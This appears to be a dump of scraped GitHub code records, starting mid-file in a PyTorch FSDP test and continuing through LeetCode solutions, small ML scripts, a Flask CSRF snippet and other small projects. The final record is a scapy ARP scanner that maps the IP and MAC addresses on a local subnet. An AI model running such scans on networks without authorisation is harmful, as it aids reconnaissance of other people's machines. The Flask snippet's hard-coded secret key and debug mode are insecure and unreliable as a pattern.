model.named_children()\n if mod not in [model.u1, model.u2]\n ]\n replicated_param_names = [\n f\"{module_name}.{n}\"\n for module_name, mod in replicated_modules\n for n, _ in mod.named_parameters()\n ]\n replicated_param_names.extend(\n [n for n, _ in model.named_parameters(recurse=False)]\n )\n self.assertEqual(set(param_names), set(replicated_param_names))\n\n @skip_if_lt_x_gpu(2)\n def test_checkpoint_fsdp_submodules_with_param(self):\n model = CompositeParamModel(device=torch.device(\"cuda\"))\n\n base_model = copy.deepcopy(model)\n\n test_model = copy.deepcopy(model)\n test_model.u1.seq = checkpoint(test_model.u1.seq)\n test_model.u2.seq = checkpoint(test_model.u2.seq)\n test_model = fully_shard(test_model)\n\n self.run_subtests(\n {\n \"base_model\": [base_model],\n \"test_model\": [test_model],\n \"inp_size\": [torch.Size((2, 100))],\n \"inp_device\": [torch.device(\"cuda\")],\n \"grad_to_none\": [True, False],\n \"use_same_inputs_across_ranks\": [True],\n },\n self._test_parity,\n )\n\n @skip_if_lt_x_gpu(2)\n def test_checkpoint_fsdp_submodules_with_param_no_shard(self):\n model = CompositeParamModel(device=torch.device(\"cuda\"))\n\n base_model = copy.deepcopy(model)\n\n test_model = copy.deepcopy(model)\n test_model.u1.seq = checkpoint(test_model.u1.seq)\n test_model.u2.seq = checkpoint(test_model.u2.seq)\n test_model = fully_shard(test_model, strategy=ShardingStrategy.NO_SHARD)\n\n self.run_subtests(\n {\n \"base_model\": [base_model],\n \"test_model\": [test_model],\n \"inp_size\": [torch.Size((2, 100))],\n \"inp_device\": [torch.device(\"cuda\")],\n \"grad_to_none\": [True, False],\n \"use_same_inputs_across_ranks\": [True],\n },\n self._test_parity,\n )\n\n @skip_if_lt_x_gpu(2)\n def test_composable_fsdp_replicate(self):\n # Verify how the APIs can be composed, e.g. if both `fully_shard` and\n # `replicate` are applied on the same module, it should raise exception.\n model = CompositeModel(device=torch.device(\"cuda\"))\n fully_shard(model.l1)\n with self.assertRaisesRegex(AssertionError, \"Cannot apply .*replicate\"):\n replicate(model.l1)\n replicate(model.l2) # should not raise\n\n @skip_if_lt_x_gpu(2)\n def test_fully_shard_replicate_composability(self):\n \"\"\"\n Tests composing ``fully_shard`` and ``replicate``. To save unit test\n time, we run the different configs in subtests.\n \"\"\"\n self.run_subtests(\n {\n \"config\": [\n \"1fm,1r\",\n \"1r,1fm\",\n \"1r,1fa\",\n \"1r1fm,1fm\",\n \"1r1fa,1fm\",\n \"1fm1fm,1r1r,1fm\",\n ]\n },\n self._test_replicate_in_fully_shard,\n )\n\n def _test_replicate_in_fully_shard(self, config: str):\n \"\"\"\n To interpret the config, each comma delineates a level in the module\n tree ordered bottom-up; 'r' means ``replicate``; 'f' means\n ``fully_shard``; 'a' means auto wrap; and 'm' means manual wrap.\n \"\"\"\n # Set the seed to ensure that all ranks initialize the same model\n torch.manual_seed(0)\n if config == \"1fm,1r\":\n base_model = CompositeModel(device=torch.device(\"cuda\"))\n test_model = copy.deepcopy(base_model)\n fully_shard(test_model.l1)\n replicate(test_model)\n elif config == \"1r,1fm\":\n base_model = CompositeParamModel(torch.device(\"cuda\"))\n test_model = copy.deepcopy(base_model)\n replicate(test_model.u1)\n fully_shard(test_model)\n elif config == \"1r,1fa\":\n base_model = CompositeParamModel(torch.device(\"cuda\"))\n test_model = copy.deepcopy(base_model)\n replicate(test_model.u1)\n fully_shard(test_model, policy=ModuleWrapPolicy({UnitModule}))\n elif config == \"1r1fm,1fm\":\n base_model = CompositeParamModel(torch.device(\"cuda\"))\n test_model = copy.deepcopy(base_model)\n replicate(test_model.u1)\n fully_shard(test_model.u2)\n fully_shard(test_model)\n elif config == \"1r1fa,1fm\":\n base_model = CompositeParamModel(torch.device(\"cuda\"))\n test_model = copy.deepcopy(base_model)\n replicate(test_model.u1)\n fully_shard(test_model.u2, policy=ModuleWrapPolicy({UnitModule}))\n fully_shard(test_model)\n elif config == \"1fm1fm,1r1r,1fm\":\n base_model = CompositeParamModel(torch.device(\"cuda\"))\n test_model = copy.deepcopy(base_model)\n fully_shard(test_model.u1.seq)\n fully_shard(test_model.u2.seq)\n replicate(test_model.u1)\n replicate(test_model.u2)\n fully_shard(test_model)\n else:\n raise ValueError(f\"Unknown config: {config}\")\n # Apply data parallelism to the base model for parity since we apply\n # data parallelism to the test model\n replicate(base_model)\n\n # Set the seed to ensure that ranks get different input data\n torch.manual_seed(self.rank + 1)\n self._test_parity(\n base_model,\n test_model,\n torch.Size((2, 100)),\n torch.device(\"cuda\"),\n True,\n False,\n )\n\n @skip_if_lt_x_gpu(2)\n def test_state_dict_fsdp_submodules(self):\n model = CompositeModel(device=torch.device(\"cuda\"))\n\n full_shard_args = {\"strategy\": ShardingStrategy.FULL_SHARD}\n no_shard_args = {\"strategy\": ShardingStrategy.NO_SHARD}\n\n model.u1 = fully_shard(model.u1, **full_shard_args)\n model.u2 = fully_shard(model.u2, **no_shard_args)\n\n FSDP.set_state_dict_type(\n model,\n StateDictType.SHARDED_STATE_DICT,\n )\n\n state_dict = model.state_dict()\n for fqn, tensor in state_dict.items():\n if \"u1\" in fqn:\n self.assertIsInstance(tensor, ShardedTensor)\n elif \"u2\" in fqn:\n self.assertIsInstance(tensor, torch.Tensor)\n # Ensure that get_state_dict_type can still correctly get the settings.\n _ = FSDP.get_state_dict_type(model)\n\n\ninstantiate_parametrized_tests(TestFSDPCheckpoint)\n\n\nif __name__ == \"__main__\":\n run_tests()\n","repo_name":"pytorch/pytorch","sub_path":"test/distributed/_composable/test_compose.py","file_name":"test_compose.py","file_ext":"py","file_size_in_byte":13335,"program_lang":"python","lang":"en","doc_type":"code","stars":72779,"dataset":"github-code","pt":"72"}
+{"seq_id":"26217239651","text":"# https://leetcode.com/problems/merge-similar-items/\nclass Solution:\n def mergeSimilarItems(self, items1: List[List[int]], items2: List[List[int]]) -> List[List[int]]:\n def collect(mm, items):\n for v, w in items:\n if v in mm:\n mm[v] += w\n else:\n mm[v] = w\n\n mm = {}\n collect(mm, items1)\n collect(mm, items2)\n ret = sorted(mm.items())\n\n return ret\n","repo_name":"zhuli19901106/leetcode-zhuli","sub_path":"algorithms/2001-2500/2363_merge-similar-items_1_AC.py","file_name":"2363_merge-similar-items_1_AC.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":557,"dataset":"github-code","pt":"72"}
+{"seq_id":"25191889569","text":"# Set-ExecutionPolicy RemoteSigned\nimport joblib as joblib\nfrom fastapi import FastAPI\nimport uvicorn\nfrom preprocessing_fuctions import preprocess\n\napp = FastAPI()\n\n@app.get(\"/\")\ndef root():\n return {\"message\": \"Hello World\"}\n\n@app.get(\"/tweet/\")\nasync def dialect(tweet: str):\n tweet_proc = preprocess(tweet)\n tweet_tfidf = tfidf.transform([tweet_proc])\n tweet_clf = clf.predict(tweet_tfidf)\n pred = names[tweet_clf[0]]\n return {f'{tweet}': f'{pred}'}\n\nif __name__ == '__main__':\n tfidf = joblib.load('tfidf.pkl')\n clf = joblib.load('ML.pkl')\n names = {0: 'AE', 1: 'BH', 2: 'DZ', 3: 'EG', 4: 'IQ', 5: 'JO', 6: 'KW', 7: 'LB', 8: 'LY', 9: 'MA', 10: 'OM',\n 11: 'PL', 12: 'QA', 13: 'SA', 14: 'SD', 15: 'SY', 16: 'TN', 17: 'YE'}\n uvicorn.run(app, host=\"127.0.0.1\", port=8000, log_level=\"info\")\n\n #uvicorn main:app --reload\n #http://127.0.0.1:8000/docs\n","repo_name":"omnia100/Arabic_Dialects","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"13984448323","text":"# LeetCode 241\n# https://leetcode.com/problems/different-ways-to-add-parentheses/\n\n\nclass Solution1:\n def __init__(self):\n import operator\n self.OPERATOR = {'+': operator.add, '-': operator.sub, '*': operator.mul}\n\n def diffWaysToCompute(self, input: str):\n if input.isdigit():\n return [int(input)]\n L = len(input)\n nums = []\n ops = []\n tmp = \"\"\n for i in range(L):\n c = input[i]\n if c not in \"*-+\":\n tmp += c\n else:\n ops.append(c)\n nums.append(int(tmp))\n tmp = \"\"\n nums.append(int(tmp))\n return self.DC(nums, ops)\n\n def DC(self, nums, ops):\n if len(nums) == 1:\n return nums\n res = []\n for i in range(len(nums)-1):\n left = self.DC(nums[:i+1], ops[:i])\n right = self.DC(nums[i+1:], ops[i+1:])\n\n for a in left:\n for b in right:\n res.append(self.OPERATOR[ops[i]](a, b))\n\n return res\n\n\nclass Solution2:\n def diffWaysToCompute(self, input: str, memo={}):\n if input.isdigit():\n return [int(input)]\n if input in memo:\n return memo[input]\n res = []\n for i in range(len(input)):\n c = input[i]\n if c in \"+-*\":\n left = self.diffWaysToCompute(input[:i], memo)\n right = self.diffWaysToCompute(input[i+1:], memo)\n res += [eval(str(k)+input[i]+str(j)) for k in left for j in right]\n memo[input] = res\n return res\n\n\nif __name__ == \"__main__\":\n # Solution1 seems faster than Solution2\n sol = Solution1()\n print(sol.diffWaysToCompute('2-1-1'))\n sol = Solution2()\n print(sol.diffWaysToCompute('2-1-1'))\n","repo_name":"PengchongLiu/Algorithms","sub_path":"w1_different-ways-to-add-parentheses.py","file_name":"w1_different-ways-to-add-parentheses.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"31850640340","text":"#!/usr/bin/env python\n\n\"\"\"Serve the app's views on a webserver.\"\"\"\n\nimport os, string, random\nfrom flask import request, session\n\nfrom application import create_app\n\napp = create_app()\n\n\n# CSRF protection\n# Source: http://flask.pocoo.org/snippets/3/\n@app.before_request\ndef csrf_protect():\n \"\"\"Check on every POST form submit for a hidden CSRF PROTECT token.\"\"\"\n if request.method == \"POST\" and request.form:\n token = session.pop('_csrf_token', None)\n if not token or token != request.form.get('_csrf_token'):\n log = 'CSRF Protection blocked a POST request.'\n log += '\\nRequest was: ' + str(dict(request.form))\n log += '\\nResponded with error 403.'\n logging.warning(log)\n abort(403)\n\n\ndef generate_csrf_token():\n \"\"\"Return and store in session a random CSRF PROTECT token.\"\"\"\n if '_csrf_token' not in session:\n session['_csrf_token'] = get_random_string()\n return session['_csrf_token']\n\n\ndef get_random_string():\n \"\"\"Get a random string of 32 uppercase letters and digits.\"\"\"\n choice = string.ascii_uppercase + string.digits\n chars = [random.choice(choice) for x in xrange(32)]\n return ''.join(chars)\n\n\napp.jinja_env.globals['csrf_token'] = generate_csrf_token\n\n\nif __name__ == '__main__':\n app.secret_key = 'super secret key'\n app.debug = True\n app.run(port=8080)\n","repo_name":"Zinston/giftr","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"16547074318","text":"'''\nDate : 2023-05-12\nE-mail : kyuwon416@gmail.com\n'''\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# Define Average Filter Function with Recursion\ndef Average_Filter(measured, previous_average, iteration):\n if iteration == 0:\n avg = measured\n\n else:\n alpha = ((iteration + 1) - 1) / (iteration + 1)\n avg = alpha * previous_average + (1 - alpha) * measured\n\n return avg\n\n# Define Measured Voltage Value\ndef Get_Volt():\n noise = np.random.normal(0, 4, 1)\n true_value = 14.4\n measured_value = true_value + noise\n\n return measured_value\n\ntime_start = 0\ntime_end = 10\ndt = 0.2\ntime = np.arange(time_start, time_end, dt)\n\nn_samples = len(time)\n\nX_Measured_Saved = np.zeros(n_samples)\nX_Avg_Saved = np.zeros(n_samples)\n\nx_average = None\n\nfor i in range(n_samples):\n x_measured = Get_Volt()\n x_average = Average_Filter(x_measured, x_average, i)\n\n X_Measured_Saved[i] = x_measured\n X_Avg_Saved[i] = x_average\n\nplt.figure(figsize = (8, 5))\nplt.plot(time, X_Measured_Saved, 'b*--', markersize = 5, label = 'Measured')\nplt.plot(time, X_Avg_Saved, 'ro-', markersize = 5, label = 'Average')\nplt.legend(loc = 'best')\nplt.title('Average Filter', fontsize = 15)\nplt.ylabel('Volt[V]')\nplt.xlabel('Time[sec]')\nplt.show()","repo_name":"kyuwon416/Kalman_Filter_Python","sub_path":"01.Average_Filter/01_Average_Filter.py","file_name":"01_Average_Filter.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"874294857","text":"from utils import *\r\nfrom model import Model2\r\n\r\nif __name__ == '__main__':\r\n train_data = DataLoader('../data/trainX.txt', '../data/trainY.txt')\r\n test_data = DataLoader('../data/testX.txt', '../data/testY.txt')\r\n\r\n train_data.set_batch(100)\r\n test_data.set_batch(100)\r\n\r\n char_dic = CharDic([train_data])\r\n\r\n model = Model2(train_data=train_data,\r\n test_data=test_data,\r\n char_dic=char_dic,\r\n model_name='bilstm_crf_n3_e300_h2002')\r\n\r\n model.train()\r\n model.test()","repo_name":"luaperl/auto_spacing_with_tensorflow","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"15118108479","text":"if __name__ == '__main__':\r\n length, question_count = map(int, input().split())\r\n\r\n string = input()\r\n ac_sums = [0]\r\n for i in range(1, len(string) + 1):\r\n if i > 1 and string[i - 2] == 'A' and string[i - 1] == 'C':\r\n ac_sums.append(ac_sums[i - 1] + 1)\r\n else:\r\n ac_sums.append(ac_sums[i - 1])\r\n\r\n for i in range(question_count):\r\n l, r = map(int, input().split())\r\n ans = ac_sums[r] - ac_sums[l - 1]\r\n if l > 1 and string[l - 1] == 'C' and string[l - 2] == 'A':\r\n ans -= 1\r\n print(ans)","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/AtCoder/abc122/C/4981351.py","file_name":"4981351.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"}
+{"seq_id":"8211652022","text":"import csv\n\ncwb_filename = '107000129.csv'\ndata = []\nheader = []\nwith open(cwb_filename) as csvfile:\n mycsv = csv.DictReader(csvfile)\n header = mycsv.fieldnames\n for row in mycsv:\n data.append(row)\n\nstation = [ 'C0A880', 'C0F9A0', 'C0G640', 'C0R190', 'C0X260']\ntemp = []\nstation_max = []\ntarget_data = []\n\ndata = list(filter(lambda item: item['station_id'] in station, data))\n\nfor id in station:\n temp = list(filter(lambda item: item['station_id'] == id, data))\n temp = list(sorted(temp, key = lambda item: item['TEMP'], reverse = True))\n station_max.append(temp[0])\n\nfor t in station_max:\n if t['TEMP'] == '-99.000' or ['TEMP'] == '-999.000':\n target_data.append([t['station_id'], 'None'])\n else:\n target_data.append([t['station_id'], float(t['TEMP'])])\n\nprint(target_data)\n","repo_name":"jonathanku0313/HW1","sub_path":"hw1.py","file_name":"hw1.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"38583570458","text":"#!/usr/bin/env python\n\nimport sys\n\nfrom PIL import ImageFont\n\nimport inkyphat\n\nprint(\"\"\"Inky pHAT: Hello... my name is:\n\nUse Inky pHAT as a personalised name badge!\n\n\"\"\")\n\n#inkyphat.set_rotation(180)\n\nUSAGE = \"\"\"Usage: {} \"\" \n Valid colours for v2 are: red, yellow or black\n Inky pHAT v1 is only available in red.\n\"\"\".format(sys.argv[0])\n\nif len(sys.argv) < 3:\n print(USAGE)\n sys.exit(1)\n\ncolour = sys.argv[2]\n\ntry:\n inkyphat.set_colour(colour)\nexcept ValueError:\n print('Invalid colour \"{}\" for V{}\\n'.format(sys.argv[2], inkyphat.get_version()))\n if inkyphat.get_version() == 2:\n print(USAGE)\n sys.exit(1)\n print('Defaulting to \"red\"')\n\n# Show the backdrop image\n\ninkyphat.set_border(inkyphat.RED)\ninkyphat.set_image(\"resources/hello-badge.png\")\n\n# Partial update if using Inky pHAT display v1\n\nif inkyphat.get_version() == 1:\n inkyphat.show()\n\n# Add the text\n\nfont = ImageFont.truetype(inkyphat.fonts.AmaticSCBold, 38)\n\nname = sys.argv[1]\n\nw, h = font.getsize(name)\n\n# Center the text and align it with the name strip\n\nx = (inkyphat.WIDTH / 2) - (w / 2)\ny = 71 - (h / 2)\n\ninkyphat.text((x, y), name, inkyphat.BLACK, font)\n\n# Partial update if using Inky pHAT display v1\n\nif inkyphat.get_version() == 1:\n inkyphat.set_partial_mode(56, 96, 0, inkyphat.WIDTH)\n\ninkyphat.show()\n","repo_name":"pimoroni/inky-phat","sub_path":"examples/hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":123,"dataset":"github-code","pt":"72"}
+{"seq_id":"70450602473","text":"'''\nBaseline feedforward neural network for teaching purpose.\n'''\n#--- THIS INDICATES A TODO ---#\n\n#--- We should remove numpy ---#\nimport numpy\nfrom numpy import random\nimport matplotlib.pyplot as plt\nfrom sklearn.datasets import load_breast_cancer\nfrom sklearn.metrics import roc_auc_score\n\nimport logging\nimport time\n\nlogging.basicConfig(level=logging.INFO,format=\"[%(asctime)s %(levelname)s] %(message)s\")\n\n\n# diagonastic printer (use: diprint(STRING,User_check))\ndef diprint(S, bol):\n if bol == \"Y\" or bol == \"y\":\n print(S)\n elif bol == 'n' or bol == None:\n pass\n\n\n# collection of Activation functions.\nclass activation:\n def sigmoid(x, D):\n if D is False:\n return 1. / (1. + numpy.exp(-x))\n if D is True:\n return((1.- activation.sigmoid(x,False)) * activation.sigmoid(x,False))\n\n def RMS(y, p, D):\n if D is False:\n return .5*(y - p)**2\n if D is True:\n return (y - p)\n\n# normalization styles]\nclass normalization:\n def minmax(self,data,b=1.,a=-1.):\n return (b - a) * (data - numpy.min(data)) / (numpy.max(data) - numpy.min(data)) - a\n def mean(self,data,b=1.,a=-1.):\n return (b - a) * (data - numpy.mean(data)) / (numpy.max(data) - numpy.min(data)) - a\n def standard(self,data):\n return (data - numpy.mean(data))/numpy.std(data)\n\n# Performance of a net based off an desired AUC score\nnet_performance = lambda time,auc,loss: (time+1.)**(numpy.e**((.95-auc)*10.+loss))\n\n# Forward feed on the network ---------->\ndef forward(X, weights_1, weights_2):\n\n # X ---> X * W0 --sig--> z1 ---> z1 * W2 --sig--> z2\n\n # Calculate the Sum of the inputs an the hidden weights\n hidden_inputs = numpy.dot(weights_1, numpy.transpose(X))\n diprint(\"Hidden inputs: \" + str(hidden_inputs), User_check)\n\n # Calculate the signals emerging from hidden layer\n hidden_outputs = activation.sigmoid(hidden_inputs, False)\n diprint(\"Hidden outputs: \" + str(hidden_outputs), User_check)\n\n # Calculate the Sum of the hidden layer an the output weights\n final_inputs = numpy.dot(weights_2, hidden_outputs)\n # Calcuate the signals emerging from final output layer\n final_outputs = activation.sigmoid(final_inputs, False)\n\n return final_outputs, final_inputs, hidden_outputs, hidden_inputs\n\n\n# Backpropagation <----------\ndef backwards(X, Y, final_outputs, final_inputs, hidden_outputs, hidden_inputs, weights_2, weights_1):\n\n diprint(\"Shape of X: \" + str(numpy.shape(X)), User_check)\n diprint(\"Shape of weights_1: \" + str(numpy.shape(weights_1)), User_check)\n diprint(\"Shape of hidden_outputs: \" + str(numpy.shape(hidden_outputs)), User_check)\n diprint(\"Shape of weights_2: \" + str(numpy.shape(weights_2)), User_check)\n diprint(\"Shape of final_outputs: \" + str(numpy.shape(final_outputs)), User_check)\n diprint(\"Shape of Y: \" + str(numpy.shape(Y)), User_check)\n\n # Differences between truth and found.\n output_errors = activation.RMS(Y, final_outputs.T, True)\n\n # Chain rule to get the output delta.\n output_delta = numpy.multiply(output_errors,\n numpy.transpose(activation.sigmoid(final_inputs, True)))\n\n # Backpropagation to hidden errors.\n hidden_errors = numpy.dot(output_delta, weights_2)\n\n # Chain rule to get hidden delta.\n hidden_delta = numpy.multiply(hidden_errors,\n numpy.transpose(activation.sigmoid(hidden_inputs, True)))\n\n # Update the weights.\n weights_1 += lr * numpy.dot(hidden_delta.T, X)\n weights_2 += lr * numpy.dot(hidden_outputs, output_delta).T\n\n return weights_1, weights_2 # Return the updated weights.\n\n### USER MENU ###\n\n# Ask user if they would like to print\n# all the shapes.\ndef_params = input(\"Run defaults? \")\n\nif def_params != \"y\" and def_params != \"Y\":\n User_check = input(\"Print diagnostics (Y/n)? \")\n make_plots = input(\"Make plots (Y/n)? \")\n epochs = int(input(\"Epochs: \"))\n lr = float(input(\"Learning Rate: \"))\n batch_size = int(input(\"Batch size: \"))\n\n early_stop = input(\"Early stopping (Y/n)? \")\n if early_stop == \"y\" or early_stop == \"Y\":\n early_stop = float(input(\"% Loss change threshold: \"))\n early_stop = early_stop / 100.\n tolerance = int(input(\"Epochs tolerance: \"))\n else:\n early_stop = 0.0\n tolerance = 0.0\nelse:\n User_check = \"n\"\n make_plots = \"y\"\n epochs = 20\n lr = .1\n batch_size = 32\n early_stop = 0.0\n tolerance = 0.0\n#################\n\n# Load the data.\ndata = load_breast_cancer()\nmy_data = data.data\ntargets = data.target\n\n# Set the number of events.\nevents = 500\n\n# Calculate the number of batches.\nn_batches = int(events / batch_size)\n\n# Build the data and the targets\nX = my_data[:events]\nY = targets[:events]\n\n#--- could we use a transpose here? --#\nY = numpy.reshape(Y, (events, 1))\n\ndiprint(numpy.shape(X), User_check)\ndiprint(numpy.shape(Y), User_check)\n\nlayer_1 = 100 # Layer_1 number of nodes.\nlayer_2 = 1 # Layer_2 number of nodes.\n\n# Build the weights for the layers (random to start)\nweights_1 = numpy.random.normal(0.0, numpy.sqrt(2. / (30 + layer_1)), (layer_1, 30))\nweights_2 = numpy.random.normal(0.0, numpy.sqrt(2. / (layer_1 + layer_2)), (layer_2, layer_1))\n\n# List to contain loss values\nmetrics = {\"loss\":[],\"acc\":[],\"auc\":[]}\n\nes_count = 0\nloss_temp = 0\n\nt1 = time.time()\n\n# Loop over the epochs.\nfor e in range(epochs):\n\n outputs = numpy.empty(0)\n\n # Loop over the batches.\n for b in range(n_batches):\n\n diprint(\"We are on batch \" + str(b), User_check)\n diprint(\"The batch size is \" + str(batch_size), User_check)\n\n b_start = b * batch_size # Start index for the batch.\n b_end = (b + 1) * batch_size # End index for the batch.\n\n X_batch = X[b_start:b_end] # Array of batch size from training data.\n\n # Normalize the batch\n X_batch = normalization.standard(X_batch)\n\n # Send the data through the network forward -->\n final_outputs, final_inputs, hidden_outputs, hidden_inputs = forward(X_batch, weights_1, weights_2)\n\n # Send the errors backward through the network <--\n weights_1, weights_2 = backwards(X_batch,\n Y[b_start:b_end], final_outputs, final_inputs,\n hidden_outputs, hidden_inputs, weights_2, weights_1)\n\n outputs = numpy.append(outputs, final_outputs)\n\n outputs = numpy.reshape(outputs, (len(outputs), 1))\n\n metrics[\"loss\"].append(numpy.round(numpy.mean(activation.RMS(Y[:len(outputs)], outputs, False)),4))\n metrics[\"acc\"].append(numpy.round(numpy.mean(numpy.equal(Y[:len(outputs)],numpy.round(outputs))),4))\n metrics[\"auc\"].append(numpy.round(roc_auc_score(Y[:len(outputs)], outputs),4))\n if(e%(epochs*.1)==0):\n logging.info(\" Epoch: \"+str(e+1)+\" Loss: \"+str(metrics[\"loss\"][e])+\" Acc: \"+str(metrics[\"acc\"][e])+\" AUC: \"+str(metrics[\"auc\"][e]))\n if e > 0:\n if numpy.abs(1. - (metrics[\"loss\"][e]/metrics[\"loss\"][e-1])) < early_stop:\n if es_count < tolerance:\n es_count += 1\n loss_temp += numpy.abs(1.-(metrics[\"loss\"][e]/metrics[\"loss\"][e-1]))\n else:\n logging.info(\" Epoch: \"+str(e)+\" Stopping Early!\")\n logging.info(\" Averge loss change of \"+str(numpy.round(100.*loss_temp/es_count,2))+\"% over \"+str(es_count)+\" consecutive epochs is below required threshold of \"+str(early_stop*100))\n break\n else:\n es_count = 0\n loss_temp = 0\nlogging.info(\" Final - Loss: \"+str(metrics[\"loss\"][len(metrics[\"loss\"])-1])+\" Acc: \"+str(metrics[\"acc\"][len(metrics[\"acc\"])-1])+\" AUC: \"+str(metrics[\"auc\"][len(metrics[\"auc\"])-1]))\nlogging.info(\" Run time: \"+str(numpy.round(time.time()-t1,2)))\nlogging.info(\" Performance for .95 AUC Score: \"+str(net_performance(time.time()-t1,metrics[\"auc\"][len(metrics[\"auc\"])-1],metrics[\"loss\"][1]-metrics[\"loss\"][len(metrics[\"loss\"])-1])))\ndiprint(numpy.shape(weights_1), User_check)\ndiprint(numpy.shape(weights_2), User_check)\n\nif make_plots == \"y\" or make_plots == \"Y\":\n fig, ax1 = plt.subplots()\n ax1.plot(numpy.arange(len(metrics[\"loss\"])-1),normalization.minmax(metrics[\"loss\"][1:],1.,0.),color='blue')\n ax1.set_xlabel('Epochs')\n\n ax1.set_ylabel(\"Loss (Normed)\", color='b')\n ax1.tick_params('y', colors='b')\n\n ax2 = ax1.twinx()\n\n ax2.plot(numpy.arange(len(metrics[\"acc\"])-1),metrics[\"acc\"][1:],color='green')\n ax2.set_ylabel('Acc', color='g')\n ax2.tick_params('y', colors='g')\n #ax2.set_ylim(0.,1.)\n\n fig.tight_layout()\n plt.show()\n\n sh,_,_=plt.hist(outputs[numpy.where(Y[:len(outputs)]==1)],bins=10,alpha=.5,color='red')\n bh,_,_=plt.hist(outputs[numpy.where(Y[:len(outputs)]==0)],bins=10,alpha=.5,color='blue')\n plt.xlabel('Network Response')\n plt.ylabel('Density')\n plt.show()\n","repo_name":"bforland/pure_python_ml","sub_path":"toy_nets/Batch_QoL_AnB.py","file_name":"Batch_QoL_AnB.py","file_ext":"py","file_size_in_byte":8659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"39014987184","text":"from typing import Dict\nimport requests\n\nfrom pipeline import create_folder\n\nfrom helpers.files import read_json, write_json\n\n\ndef create_folder_structure(**kwargs) -> Dict:\n \"\"\"\n This function creates the folder structure used by the pipeline.\n \n Args:\n **kwargs: Arbitrary keyword arguments.\n \n Returns:\n Dict: A dictionary of action outputs.\n \n Keyword Args:\n verbose (bool): Whether to print verbose output.\n output_path (str): The output folder.\n config (dict): The config dictionary.\n \"\"\"\n verbose = kwargs['verbose']\n output_path = kwargs['output_path']\n config = kwargs['config']\n\n i = 0\n for folder in ['images/positions/page', 'images/positions/card', 'images/entropy', 'polymorphisms/loci', 'polymorphisms/allele_group']:\n create_folder(f\"{output_path}/{folder}\", verbose)\n i += 1\n\n action_output = {\n 'folders_created': i\n }\n\n return action_output","repo_name":"histofyi/positions_pipeline","sub_path":"steps/create_folder_structure.py","file_name":"create_folder_structure.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"13191896494","text":"from _class import *\nfrom _utils import prepare_data\n\n\ndef main():\n DATAPATH = 'data/train.csv'\n X_TRAIN, Y_TRAIN, X_TEST, Y_TEST, MAX_WORD_FEATURE, SEQUENCE_MAX_LEN, TOKENIZER = prepare_data(DATAPATH)\n model = NN(SEQUENCE_MAX_LEN, MAX_WORD_FEATURE, 100, 64)\n model.create()\n train_history = model.train(X_TRAIN, Y_TRAIN, 128, epochs=10)\n model.validate(X_TEST, Y_TEST)\n model.plot_metrics(train_history)\n model.save_model(TOKENIZER)\n model.classify_tweets('data/Covid-19-Tweets.csv')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"stephen-jr/bidirectionalAttentionMechanism","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"39804685015","text":"from django.conf.urls import url\nfrom .views import *\n\nurlpatterns = [\n url('get-posts/$', PostsView.as_view(), name=\"get_posts\"),\n url('system-updates/(?P\\d+\\.\\d+)/(?P\\d+\\.\\d+)/(?P\\d+\\.\\d+)/$',\n PostsHaveUpdatesView.as_view(), name=\"posts_have_updates\"),\n url('get-rev-setting/$', GetRevSettingView.as_view(), name=\"get_rev_setting\"),\n url('get-channel-posts/$', ChannelPostsView.as_view(), name=\"get_channel_posts\"),\n url('like-unlike/$', LikeUnlikePost.as_view(), name=\"like_unlike\"),\n url('share-post/(?P.+)/$', SharePost.as_view(), name=\"share_post\"),\n url('media-post/(?P.+)/$', MediaPost.as_view(), name=\"show_post_media\"),\n]","repo_name":"xiondun/laowai_panda","sub_path":"revyoume_club/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"6116927495","text":"import scapy.all as sc\r\nip=input(\"IP(only Subnet):\\t\")\r\nansl=[]\r\nfor j in range(1,11):\r\n i=sc.ARP(pdst=ip+\".\"+str(j))\r\n emptmac=sc.Ether(dst=\"ff:ff:ff:ff:ff:ff\")\r\n ansl.append(sc.srp(emptmac/i,timeout=1,verbose=False)[0])\r\ndef fx():\r\n print(\"[+]----------------------------------------------------\")\r\n print (\"\\tIP Address\\t\\tM0AC Address\")\r\n for j in ansl:\r\n for i in j:\r\n print (\"\\t\"+i[1].psrc+\"\\t\\t\"+i[1].hwsrc)\r\n\r\ndef fx2(ip):\r\n for j in ansl:\r\n for i in j:\r\n if(i[1].psrc==ip):\r\n return (i[1].hwsrc)\r\n\r\n\r\n","repo_name":"Vector26/Network-Analysers","sub_path":"HAckingScripts/MACFInder.py","file_name":"MACFInder.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
